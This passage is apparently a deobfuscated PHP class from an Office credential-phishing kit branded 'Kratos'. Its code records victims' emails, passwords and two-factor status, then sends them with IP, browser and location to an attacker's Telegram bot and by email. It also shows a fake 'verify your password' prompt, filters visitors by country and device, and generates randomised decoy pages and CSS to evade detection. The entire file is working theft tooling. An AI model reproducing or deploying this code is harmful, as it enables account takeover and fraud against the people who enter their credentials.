                return "\r\n        html,\r\n        body {\r\n            content: \"\"; /* Empty content to allow the pseudo-element to render */\r\n            position: absolute; /* Absolute positioning */\r\n            top: 0;\r\n            left: 0;\r\n            right: 0;\r\n            bottom: 0;\r\n            z-index: -1; /* Ensure it stays behind other content */\r\n            background-image: url(\"" . $Caab8 . "\");\r\n            background-size: cover; /* Scale image to cover the entire area */\r\n            background-position: center; /* Center the background image */\r\n            background-repeat: no-repeat; /* Prevent repeating the image */\r\n        } \r\n        ";
            }
            return $Caab8;
        }
        die("image not found.");
    }
    public function getFirstMessage()
    {
        $ebdf5 = $this->ac043["first_message"];
        if ($ebdf5 == "none") {
            return "";
        }
        if ($ebdf5 == "default") {
            return "Because you're accessing sensitive info, you need to verify your password";
        }
        if ($ebdf5 == "text") {
            return $this->ac043["custom_firstmessage"];
        }
        if (!($ebdf5 == "images")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        return "<img src=\"" . $this->imageToBase64("../" . $this->ac043["custom_firstmessage"]) . "\" alt=\"Icon\" style=\"width: 50%; height: auto;\" class=\"d-block\"/>";
    }
    public function readJsonFile($Dda95)
    {
        if (file_exists($Dda95)) {
            $a9e0b = file_get_contents($Dda95);
            $Dc847 = json_decode($a9e0b, true);
            return is_array($Dc847) ? $Dc847 : [];
        }
        file_put_contents($Dda95, json_encode([]));
        return array();
    }
    public function writeJsonFile($Dda95, $Dc847)
    {
        $a9e0b = json_encode($Dc847, JSON_PRETTY_PRINT);
        file_put_contents($Dda95, $a9e0b);
    }
    public function getFirstDataByIp($Dc847, $A0b74)
    {
        foreach ($Dc847 as $bbe23) {
            if (!(isset($bbe23["ip"]) && $bbe23["ip"] === $A0b74)) {
            }
            return $bbe23;
        }
        return null;
    }
    public function generatePrimaryId($Dc847)
    {
        $Bbdcd = 0;
        foreach ($Dc847 as $bbe23) {
            if (!(isset($bbe23["id"]) && $bbe23["id"] > $Bbdcd)) {
                goto A762e;
            }
            $Bbdcd = $bbe23["id"];
            A762e:
        }
        return $Bbdcd + 1;
    }
    public function isDataExist($Dc847, $A0b74)
    {
        foreach ($Dc847 as $bbe23) {
            if (!(isset($bbe23["ip"]) && $bbe23["ip"] === $A0b74)) {
            }
            return true;
        }
        return false;
    }
    public function makeStealthRequest($Fba79)
    {
        $D0696 = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/74.0"];
        $baf09 = $D0696[array_rand($D0696)];
        $E81bf = curl_init();
        curl_setopt($E81bf, CURLOPT_URL, $Fba79);
        curl_setopt($E81bf, CURLOPT_HTTPHEADER, ["User-Agent: {$baf09}", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding: gzip, deflate, br", "Accept-Language: en-US,en;q=0.9", "Connection: keep-alive", "Referer: https://www.google.com/"]);
        curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($E81bf, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($E81bf, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($E81bf, CURLOPT_FOLLOWLOCATION, true);
        $ce85b = curl_exec($E81bf);
        if (!curl_errno($E81bf)) {
            goto Ea2ef;
        }
        echo "cURL Error: " . curl_error($E81bf);
        Ea2ef:
        curl_close($E81bf);
        return $ce85b;
    }
    public function onlyOneTimeUse()
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $Dda95 = "/home/scarface/Documents/github/PHPDeobfuscator/../" . $this->ac043["files"]["valid"];
        $Dc847 = $this->readJsonFile($Dda95);
        $B089b = false;
        $A0b74 = $this->getClientIp();
        if (!($A0b74 == "::1")) {
            goto e6599;
        }
        $A0b74 = "132.242.213.202";
        e6599:
        foreach ($Dc847 as $D6d9b) {
            if (!($D6d9b["ip"] == $A0b74)) {
                goto E7e59;
            }
            if ($D6d9b["details"]["twofactor"] && $D6d9b["details"]["twofactor_status"] == "Complete") {
                $B089b = true;
                goto Baa58;
            }
            if ($D6d9b["details"]["twofactor"]) {
                goto b3e26;
            }
            $B089b = true;
            b3e26:
            Baa58:
            E7e59:
        }
        return $B089b;
    }
    public function editData($f1731, $cdd43)
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $Dda95 = "/home/scarface/Documents/github/PHPDeobfuscator/../" . $this->ac043["files"]["valid"];
        $Dc847 = $this->readJsonFile($Dda95);
        $b4bce = 0;
        foreach ($Dc847 as $D6d9b) {
            if (!($D6d9b["details"]["email"] == $f1731)) {
                goto C73ce;
            }
            $ce73e = $b4bce;
            C73ce:
            $b4bce++;
        }
        $Dc847[$ce73e]["details"]["twofactor_status"] = $cdd43;
        $this->writeJsonFile($Dda95, $Dc847);
    }
    public function insertAdditional($f4a85, $f1731, $Ca913, $A09bf = true)
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        if ($A09bf) {
            $Dda95 = "/home/scarface/Documents/github/PHPDeobfuscator/../" . $this->ac043["files"]["valid"];
            goto d5ebe;
        }
        $Dda95 = $B3729 . "/../" . $this->ac043["files"]["invalid"];
        d5ebe:
        $Dc847 = $this->readJsonFile($Dda95);
        $ec11e = E707C("user_data");
        $ec11e["details"]["status"] = $f4a85["live"];
        $ec11e["details"]["email"] = $f1731;
        $ec11e["details"]["password"] = $Ca913;
        if (!$f4a85["live"]) {
            goto E7985;
        }
        $ec11e["details"]["twofactor"] = $f4a85["twofactor"];
        $ec11e["details"]["role"] = $f4a85["role"];
        $ec11e["details"]["edu"] = $f4a85["edu"];
        $ec11e["details"]["type"] = $f4a85["type"];
        if ($ec11e["details"]["twofactor"]) {
            $ec11e["details"]["twofactor_status"] = "Waiting";
            goto ad161;
        }
        $ec11e["details"]["twofactor_status"] = "No";
        ad161:
        E7985:
        $ec11e["id"] = $this->generatePrimaryId($Dc847);
        $Dc847[] = $ec11e;
        $this->writeJsonFile($Dda95, $Dc847);
        c1E8E("user_data", $ec11e);
    }
    public function insertDataVisitor($C46a1 = true)
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $Dda95 = "/home/scarface/Documents/github/PHPDeobfuscator/../" . $this->ac043["files"]["visit"];
        $Dc847 = $this->readJsonFile($Dda95);
        $A0b74 = $this->getClientIp();
        if (!($A0b74 == "::1")) {
            goto bca4c;
        }
        $A0b74 = "132.242.213.202";
        bca4c:
        if (!$this->isDataExist($Dc847, $A0b74)) {
            if ($C46a1) {
                $ec11e = $this->insertUserInformation($A0b74);
                goto Efc9f;
            }
            $ec11e = $this->insertUserInformation($A0b74, false);
            Efc9f:
            $ec11e["id"] = $this->generatePrimaryId($Dc847);
            $Dc847[] = $ec11e;
            $this->writeJsonFile($Dda95, $Dc847);
            c1e8E("user_data", $ec11e);
            $this->checkUserSecurity($ec11e);
            // [PHPDeobfuscator] Implied return
            return;
        }
        $Dc847 = $this->getFirstDataByIp($Dc847, $A0b74);
        c1e8E("user_data", $Dc847);
        $this->checkUserSecurity($Dc847);
        return 1;
    }
    private function SendMessageTelegram($bcb78, $C640d, $Fd850, $a8f41 = null)
    {
        $Fba79 = $a8f41 ? "https://api.telegram.org/bot{$bcb78}/sendDocument" : "https://api.telegram.org/bot{$bcb78}/sendMessage";
        $Dc847 = ["chat_id" => $C640d, "parse_mode" => "HTML"];
        if ($a8f41) {
            $Dc847["document"] = new CURLFile(realpath($a8f41));
            $Dc847["caption"] = $Fd850;
            goto B1916;
        }
        $Dc847["text"] = $Fd850;
        B1916:
        $E81bf = curl_init($Fba79);
        curl_setopt($E81bf, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($E81bf, CURLOPT_POST, true);
        if ($a8f41) {
            curl_setopt($E81bf, CURLOPT_POSTFIELDS, $Dc847);
            goto edfc5;
        }
        curl_setopt($E81bf, CURLOPT_POSTFIELDS, http_build_query($Dc847));
        edfc5:
        curl_setopt($E81bf, CURLOPT_HTTPHEADER, ["Content-type: " . ($a8f41 ? "multipart/form-data" : "application/x-www-form-urlencoded")]);
        $d0387 = curl_exec($E81bf);
        if (!curl_errno($E81bf)) {
            goto D5076;
        }
        echo "Error:" . curl_error($E81bf);
        D5076:
        curl_close($E81bf);
        return json_decode($d0387, true);
    }
    public function SendInfoTelegram($f4a85, $f1731, $Ca913)
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $a8f41 = "/home/scarface/Documents/github/PHPDeobfuscator/../page/core/" . $this->ac043["files"]["js"] . "_" . $f1731 . ".txt";
        if (!$this->ac043["telegram"]["active"]) {
            goto Ee94f;
        }
        $bcb78 = $this->ac043["telegram"]["bot_token"];
        $C640d = $this->ac043["telegram"]["chat_id"];
        if ($f4a85["live"]) {
            $E3f8b = e707C("user_data");
            $dd299 = $E3f8b["info"]["country"];
            $A0b74 = $E3f8b["ip"];
            $ef969 = $E3f8b["ua"];
            $d24a2 = $f4a85["edu"] == true ? "\xf0\x9f\x8e\x93" : "No";
            $E33d9 = $f4a85["role"] == true ? "\xf0\x9f\x91\x94" : "No";
            $ebdf5 = $f4a85["type"];
            $Cc40b = $f4a85["twofactor"] == true ? "Waiting \xf0\x9f\x94\x91" : "No";
            $Ec9cd = $dd299 . " - " . $E3f8b["info"]["city"];
            $C2f10 = $this->getBrowserName($ef969);
            $Be734 = date("D M d, Y h:i a");
            $Fd850 = "[Kratos]- OFFICE VALID [ {$f1731} ] \xe2\x9d\xa4\xef\xb8\x8f\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>Email:</b> <i>{$f1731}</i>\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>Password:</b> <i>{$Ca913}</i>\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>Type:</b> <i>{$ebdf5}</i>\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>2FA Security:</b> <i>{$Cc40b}</i>\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>Role:</b> <i>{$E33d9}</i>\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f <b>Edu:</b> <i>{$d24a2}</i>\n";
            $Fd850 .= "\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac[IP INFORMATION]\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\n";
            $Fd850 .= "IP: {$A0b74}\n";
            $Fd850 .= "Browser: {$C2f10}\n";
            $Fd850 .= "Location: {$Ec9cd}\n";
            $Fd850 .= "Date: {$Be734}\n";
            $Fd850 .= "GOD-OF-WAR!";
            $this->SendMessageTelegram($bcb78, $C640d, $Fd850, file_exists($a8f41) ? $a8f41 : null);
            goto e4259;
        }
        if (!(!$f4a85["live"] && $this->ac043["sendtype"] == 1)) {
            goto F3fb4;
        }
        $E3f8b = E707C("user_data");
        $dd299 = $E3f8b["info"]["country"];
        $A0b74 = $E3f8b["ip"];
        $ef969 = $E3f8b["ua"];
        $Ec9cd = $dd299 . " - " . $E3f8b["info"]["city"];
        $C2f10 = $this->getBrowserName($ef969);
        $Be734 = date("D M d, Y h:i a");
        $Fd850 = "[Kratos]- OFFICE INVALID [ {$f1731} ] \xe2\x9d\x8c\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Email: {$f1731}\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Password: {$Ca913}\n";
        $Fd850 .= "\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac[IP INFORMATION]\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\n";
        $Fd850 .= "IP: {$A0b74}\n";
        $Fd850 .= "Browser: {$C2f10}\n";
        $Fd850 .= "Location: {$Ec9cd}\n";
        $Fd850 .= "Date: {$Be734}\n";
        $this->SendMessageTelegram($bcb78, $C640d, $Fd850);
        F3fb4:
        e4259:
        Ee94f:
        if (!$this->ac043["email"]["active"]) {
            goto C1ff5;
        }
        $cfa48 = $_SERVER["SERVER_NAME"];
        $ff785 = $this->ac043["email"]["email"];
        $f57b2 = "noreply@" . $cfa48;
        $f052d = "Student Detains";
        $e1806 = "MIME-Version: 1.0\r\n";
        $e1806 = "MIME-Version: 1.0\r\nContent-type:text/html;charset=UTF-8\r\n";
        $e1806 .= "From: {$f052d} <{$f57b2}>" . "\r\n";
        $e1806 .= "Reply-To: {$f57b2}" . "\r\n";
        $e1806 .= "Return-Path: {$f57b2}" . "\r\n";
        $e1806 .= "X-Mailer: PHP/" . phpversion() . "\r\n";
        if ($f4a85["live"]) {
            $E3f8b = e707C("user_data");
            $dd299 = $E3f8b["info"]["country"];
            $A0b74 = $E3f8b["ip"];
            $ef969 = $E3f8b["ua"];
            $d24a2 = $f4a85["edu"] == true ? "\xf0\x9f\x8e\x93" : "No";
            $E33d9 = $f4a85["role"] == true ? "\xf0\x9f\x91\x94" : "No";
            $Cc40b = $f4a85["twofactor"] == true ? "\xf0\x9f\x94\x91" : "No";
            $Ec9cd = $dd299 . " - " . $E3f8b["info"]["city"];
            $C2f10 = $this->getBrowserName($ef969);
            $Be734 = date("D M d, Y h:i a");
            $Faccd = "[Kratos]- OFFICE VALID";
            $B07e3 = "[Kratos]- OFFICE VALID [ {$f1731} ] \xe2\x9d\xa4\xef\xb8\x8f<br><br>";
            $B07e3 .= "\xe2\x9a\xa1\xef\xb8\x8f Email: {$f1731}<br>";
            $B07e3 .= "\xe2\x9a\xa1\xef\xb8\x8f Password: {$Ca913}<br>";
            $B07e3 .= "\xe2\x9a\xa1\xef\xb8\x8f 2FA Security: {$Cc40b}<br>";
            $B07e3 .= "\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac[IP INFORMATION]\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac<br>";
            $B07e3 .= "IP: {$A0b74}<br>";
            $B07e3 .= "Browser: {$C2f10}<br>";
            $B07e3 .= "Location: {$Ec9cd}<br>";
            $B07e3 .= "Date: {$Be734}<br>";
            $B07e3 .= "GOD-OF-WAR!";
            if (@mail($ff785, $Faccd, $B07e3, $e1806)) {
                return 1;
            }
            return 0;
        }
        if (!(!$f4a85["live"] && $this->ac043["sendtype"] == 1)) {
            ce6b5:
            d0df6:
            C1ff5:
            // [PHPDeobfuscator] Implied return
            return;
        }
        $E3f8b = e707C("user_data");
        $dd299 = $E3f8b["info"]["country"];
        $A0b74 = $E3f8b["ip"];
        $ef969 = $E3f8b["ua"];
        $Ec9cd = $dd299 . " - " . $E3f8b["info"]["city"];
        $C2f10 = $this->getBrowserName($ef969);
        $Be734 = date("D M d, Y h:i a");
        $Faccd = "[Kratos]- OFFICE INVALID";
        $B07e3 = "[Kratos]- OFFICE INVALID [ {$f1731} ] \xe2\x9d\x8c<br><br>";
        $B07e3 .= "\xe2\x9a\xa1\xef\xb8\x8f Email: {$f1731}<br>";
        $B07e3 .= "\xe2\x9a\xa1\xef\xb8\x8f Password: {$Ca913}<br>";
        $B07e3 .= "\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac[IP INFORMATION]\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac<br>";
        $B07e3 .= "IP: {$A0b74}<br>";
        $B07e3 .= "Browser: {$C2f10}<br>";
        $B07e3 .= "Location: {$Ec9cd}<br>";
        $B07e3 .= "Date: {$Be734}<br>";
        if (@mail($ff785, $Faccd, $B07e3, $e1806)) {
            return 1;
        }
        return 0;
    }
    public function SendFileOnlyTelegram($f4a85, $f1731, $b63ad)
    {
        $B3729 = "/home/scarface/Documents/github/PHPDeobfuscator";
        $a8f41 = "/home/scarface/Documents/github/PHPDeobfuscator/../page/core/" . $this->ac043["files"]["js"] . "_" . $f1731 . ".txt";
        if (!$this->ac043["telegram"]["active"]) {
            goto D74b7;
        }
        $bcb78 = $this->ac043["telegram"]["bot_token"];
        $C640d = $this->ac043["telegram"]["chat_id"];
        if ($f4a85["live"]) {
            $Fd850 = "[Kratos]- 2FA COMPLETED [ {$f1731} ] \xe2\x9d\xa4\xef\xb8\x8f\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Email: {$f1731}\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Method: {$b63ad}\n";
            $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Status: Valid";
            $this->SendMessageTelegram($bcb78, $C640d, $Fd850, file_exists($a8f41) ? $a8f41 : null);
            goto fda93;
        }
        if (!(!$f4a85["live"] && $this->ac043["sendtype"] == 1)) {
            goto b50ea;
        }
        $ca5aa = $f4a85["reason"];
        $Fd850 = "[Kratos]- 2FA FAILED [ {$f1731} ] \xe2\x9d\x8c\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Email: {$f1731}\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Method: {$b63ad}\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Status: Invalid\n";
        $Fd850 .= "\xe2\x9a\xa1\xef\xb8\x8f Reason: {$ca5aa}";
        $this->SendMessageTelegram($bcb78, $C640d, $Fd850);
        b50ea:
        fda93:
        D74b7:
    }
    private function getBrowserName($b65d7)
    {
        if (strpos($b65d7, "Firefox") !== false) {
            return "Firefox";
        }
        if (strpos($b65d7, "Chrome") !== false) {
            return "Chrome";
        }
        if (strpos($b65d7, "Safari") !== false) {
            return "Safari";
        }
        if (strpos($b65d7, "Edge") !== false) {
            return "Edge";
        }
        if (strpos($b65d7, "MSIE") !== false || strpos($b65d7, "Trident") !== false) {
            return "Internet Explorer";
        }
        return "Unknown";
    }
    public function checkCountryCode()
    {
        $E3f8b = e707C("user_data");
        if (isset($E3f8b["info"]["country_code"])) {
            if (!in_array($E3f8b["info"]["country_code"], $this->ac043["unchecked_countries"])) {
                goto A5dd0;
            }
            $this->redirect("Country");
            A5dd0:
            // [PHPDeobfuscator] Implied return
            return;
        }
        return;
    }
    public function checkDevice()
    {
        $B3fc5 = $this->getDeviceType($this->getUserAgent());
        if (!in_array($B3fc5, $this->ac043["unchecked_devices"])) {
            goto e66fe;
        }
        $this->redirect("Device");
        e66fe:
    }
    function getDeviceType($c074b)
    {
        if (!preg_match("/ipad|tablet|kindle|nook|android(?!.*mobile)/", $c074b)) {
            if (!preg_match("/mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone/", $c074b)) {
                return "desktop";
            }
            return "mobile";
        }
        return "tablet";
    }
    public function checkLockEmail($f1731)
    {
        $a8f41 = "../" . $this->ac043["lock_email"]["list"];
        $C2309 = "text to search";
        if (file_exists($a8f41)) {
            $bc443 = file_get_contents($a8f41);
            if (strpos($bc443, $f1731) !== false) {
                return true;
            }
            return false;
        }
        die("Email List Not found");
    }
    public function getRandomLoadingTitle()
    {
        $Be506 = ["Loading...", "Processing...", "Initializing...", "Displaying a page...", "Loading content...", "Processing request...", "Initializing system...", "Loading resources...", "Preparing content...", "Setting up page...", "Configuring display...", "Rendering content...", "Processing data...", "Loading modules...", "Establishing connection...", "Synchronizing data...", "Authenticating user...", "Validating request...", "Retrieving information...", "Compiling resources...", "Optimizing performance...", "Finalizing setup...", "Please wait...", "Almost ready...", "Just a moment...", "Working on it...", "Getting things ready...", "Loading interface...", "Preparing workspace...", "Buffering data...", "Connecting to server...", "Analyzing request...", "Parsing information...", "Generating response..."];
        return $Be506[array_rand($Be506)];
    }
    public function generateRandomFakeContent()
    {
        $E255b = ["tech" => ["sections" => [["title" => "System Configuration", "content" => "Advanced system parameters and configuration settings for optimal performance."], ["title" => "Network Status", "content" => "Real-time monitoring of network connectivity and bandwidth utilization."], ["title" => "Security Protocols", "content" => "Implementation of enterprise-grade security measures and encryption standards."], ["title" => "Data Processing", "content" => "High-performance data processing engines with machine learning capabilities."]]], "business" => ["sections" => [["title" => "Market Analysis", "content" => "Comprehensive market research and competitive intelligence reporting."], ["title" => "Financial Overview", "content" => "Detailed financial metrics and performance indicators for strategic planning."], ["title" => "Client Management", "content" => "Customer relationship management tools and client engagement strategies."], ["title" => "Project Status", "content" => "Real-time project tracking and milestone achievement monitoring."]]], "general" => ["sections" => [["title" => "Information Hub", "content" => "Centralized information repository with advanced search capabilities."], ["title" => "Resource Center", "content" => "Comprehensive resource management and allocation optimization."], ["title" => "Service Portal", "content" => "Integrated service delivery platform with automated workflows."], ["title" => "Support System", "content" => "Advanced support infrastructure with intelligent ticket routing."]]]];
        $Af32e = array_rand($E255b);
        return $E255b[$Af32e];
    }
    public function generateRandomCSS()
    {
        $A8e8d = ["Arial, sans-serif", "Helvetica, sans-serif", "Georgia, serif", "Times New Roman, serif", "Verdana, sans-serif", "Segoe UI, sans-serif"];
        $D7ea7 = [["bg" => "#f8f9fa", "primary" => "#343a40", "secondary" => "#6c757d"], ["bg" => "#f1f3f4", "primary" => "#202124", "secondary" => "#5f6368"], ["bg" => "#fafafa", "primary" => "#1a1a1a", "secondary" => "#666666"], ["bg" => "#ffffff", "primary" => "#2c3e50", "secondary" => "#7f8c8d"], ["bg" => "#f5f5f5", "primary" => "#34495e", "secondary" => "#95a5a6"]];
        $a383c = $this->generatePronounceableString(rand(6, 10));
        $f8311 = $this->generatePronounceableString(rand(5, 9));
        $C56c5 = $this->generatePronounceableString(rand(4, 8));
        $fef7d = $this->generatePronounceableString(rand(5, 9));
        $b9339 = $this->generatePronounceableString(rand(5, 8));
        $f59e5 = $this->generatePronounceableString(rand(4, 7));
        $f0f0b = $this->generatePronounceableString(rand(4, 7));
        $Da360 = $this->generatePronounceableString(rand(4, 8));
        $dd88a = $this->generatePronounceableString(rand(4, 7));
        $feee1 = $this->generatePronounceableString(rand(3, 6));
        $A4455 = $A8e8d[array_rand($A8e8d)];
        $dfd27 = $D7ea7[array_rand($D7ea7)];
        $C4966 = rand(70, 90) . "%";
        $b95f2 = rand(15, 25) . "px";
        $Af378 = "\r\n        body.delivered, .{$a383c} { display: none !important; visibility: hidden !important; opacity: 0 !important; }\r\n        body {\r\n            font-family: {$A4455};\r\n            background-color: {$dfd27["bg"]};\r\n            color: {$dfd27["primary"]};\r\n            margin: 0;\r\n            padding: 0;\r\n            line-height: " . rand(14, 18) / 10 . ";\r\n        }\r\n        .{$f8311} {\r\n            width: {$C4966};\r\n            margin: 0 auto;\r\n            padding: {$b95f2};\r\n        }\r\n        .{$C56c5} {\r\n            background: {$dfd27["primary"]};\r\n            color: white;\r\n            padding: " . rand(10, 20) . "px 0;\r\n            text-align: center;\r\n        }\r\n        .{$fef7d} {\r\n            margin: " . rand(15, 25) . "px 0;\r\n            padding: " . rand(15, 25) . "px;\r\n            background: white;\r\n            border-radius: " . rand(3, 8) . "px;\r\n            box-shadow: 0 " . rand(1, 3) . "px " . rand(5, 10) . "px rgba(0,0,0,0.1);\r\n        }\r\n        .{$f59e5}, .{$f0f0b}, h1, h2, h3 { \r\n            color: {$dfd27["primary"]}; \r\n            margin: 0 0 " . rand(10, 20) . "px 0; \r\n        }\r\n        .{$Da360}, p { \r\n            color: {$dfd27["secondary"]}; \r\n            margin: " . rand(8, 15) . "px 0; \r\n        }\r\n        .{$dd88a}, ul { \r\n            padding-left: " . rand(20, 30) . "px; \r\n        }\r\n        .{$feee1}, li { \r\n            margin: " . rand(5, 10) . "px 0; \r\n        }\r\n        .{$b9339} { \r\n            text-align: center; \r\n            padding: " . rand(15, 25) . "px; \r\n            color: {$dfd27["secondary"]}; \r\n        }\r\n        ";
        return ["css" => $Af378, "classes" => ["delivered" => $a383c, "container" => $f8311, "header" => $C56c5, "section" => $fef7d, "footer" => $b9339, "title" => $f59e5, "heading" => $f0f0b, "paragraph" => $Da360, "list" => $dd88a, "item" => $feee1]];
    }
    public function generateRandomAttributes()
    {
        return ["bodyClass" => $this->generatePronounceableString(rand(5, 9)), "bodyId" => $this->generatePronounceableString(rand(6, 10)), "headerClass" => $this->generatePronounceableString(rand(4, 8)), "headerId" => $this->generatePronounceableString(rand(5, 9)), "titleClass" => $this->generatePronounceableString(rand(4, 7)), "titleId" => $this->generatePronounceableString(rand(5, 8)), "containerClass" => $this->generatePronounceableString(rand(5, 9)), "containerId" => $this->generatePronounceableString(rand(6, 10)), "footerClass" => $this->generatePronounceableString(rand(5, 8)), "footerId" => $this->generatePronounceableString(rand(5, 9))];
    }
    private function generatePronounceableWord($de726 = 4, $d48fd = 9)
    {
        $A5705 = rand($de726, $d48fd);
        $D506c = ["b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "r", "s", "t", "v", "w", "z"];
        $F147c = ["a", "e", "i", "o", "u"];
        $b38c4 = '';
        $a19fe = rand(0, 1);
        $b4bce = 0;
        Ac17f:
        if (!($b4bce < $A5705)) {
            return ucfirst($b38c4);
        }
        if ($a19fe % 2 == 0) {
            $b38c4 .= $D506c[array_rand($D506c)];
            goto F13c7;
        }
        $b38c4 .= $F147c[array_rand($F147c)];
        F13c7:
        $a19fe++;
        $b4bce++;
        goto Ac17f;
    }
    private function generateRandomSentence($Dab60 = 6, $c5eee = 16)
    {
        $D0fb0 = [];
        $B0073 = rand($Dab60, $c5eee);
        $b4bce = 0;
        C0de2:
        if (!($b4bce < $B0073)) {
            $e1dd0 = implode(" ", $D0fb0) . ".";
            return ucfirst($e1dd0);
        }
        $D0fb0[] = $this->generatePronounceableWord();
        $b4bce++;
        goto C0de2;
    }
    private function generateRandomParagraph($ac083 = 2, $ae1f7 = 5)
    {
        $C0022 = [];
        $B0073 = rand($ac083, $ae1f7);
        $b4bce = 0;
        cdf9d:
        if (!($b4bce < $B0073)) {
            return implode(" ", $C0022);
        }
        $C0022[] = $this->generateRandomSentence();
        $b4bce++;
        goto cdf9d;
    }
    public function generateUniqueRandomTitle()
    {
        $F24e4 = ["Amazing", "Hidden", "Lost", "Secret", "Mysterious", "Ancient", "Brave", "Curious", "Daring", "Enchanted", "Forgotten", "Golden", "Haunted", "Invisible", "Jubilant", "Kind", "Legendary", "Majestic", "Noble", "Odd", "Peaceful", "Quiet", "Royal", "Silent", "Timeless", "Unseen", "Vast", "Wild", "Young", "Zealous"];
        $bcfa9 = ["Forest", "Castle", "River", "Mountain", "Village", "Kingdom", "Garden", "Island", "Cave", "Valley", "Bridge", "Tower", "Lake", "Desert", "Ocean", "Path", "Field", "Temple", "Palace", "Tree", "Stone", "Cloud", "Wind", "Shadow", "Light", "Dream", "Story", "Legend", "Song", "Journey"];
        $c7aa6 = ["Awakens", "Falls", "Rises", "Shines", "Sleeps", "Calls", "Waits", "Wanders", "Speaks", "Hides", "Dances", "Sings", "Flows", "Echoes", "Glows", "Moves", "Returns", "Begins", "Ends", "Opens", "Closes", "Fades", "Grows", "Builds", "Breaks", "Finds", "Seeks", "Guards", "Leads", "Guides"];
        $c07bd = $F24e4[array_rand($F24e4)];
        $bbfd5 = $bcfa9[array_rand($bcfa9)];
        $A9090 = $c7aa6[array_rand($c7aa6)];
        $C9f90 = rand(1000, 9999);
        return "{$c07bd} {$bbfd5} {$A9090} {$C9f90}";
    }
    public function generateRandomSections($c7d13 = 4, $d909b = null)
    {
        if ($d909b) {
            goto fb2e1;
        }
        $Af809 = $this->generateRandomCSS();
        $d909b = $Af809["classes"];
        fb2e1:
        $D6455 = [];
        $b4bce = 0;
        ea211:
        if (!($b4bce < $c7d13)) {
            return $D6455;
        }
        $Fea02 = $this->generateUniqueRandomTitle();
        $E4791 = $this->generateRandomParagraph();
        $D6455[] = ["title" => $Fea02, "content" => $E4791, "class" => $d909b["section"], "titleClass" => $d909b["heading"], "paragraphClass" => $d909b["paragraph"]];
        $b4bce++;
        goto ea211;
    }
    public function generateCompleteFakePage()
    {
        $Af809 = $this->generateRandomCSS();
        $F5ff0 = $this->generateRandomAttributes();
        $D6455 = $this->generateRandomSections(rand(3, 6), $Af809["classes"]);
        $bbcdc = $this->getRandomLoadingTitle();
        return ["title" => $bbcdc, "css" => $Af809["css"], "cssClasses" => $Af809["classes"], "attributes" => $F5ff0, "sections" => $D6455, "pageTitle" => $bbcdc];
    }
    public function getRandomMeetingTitle()
    {
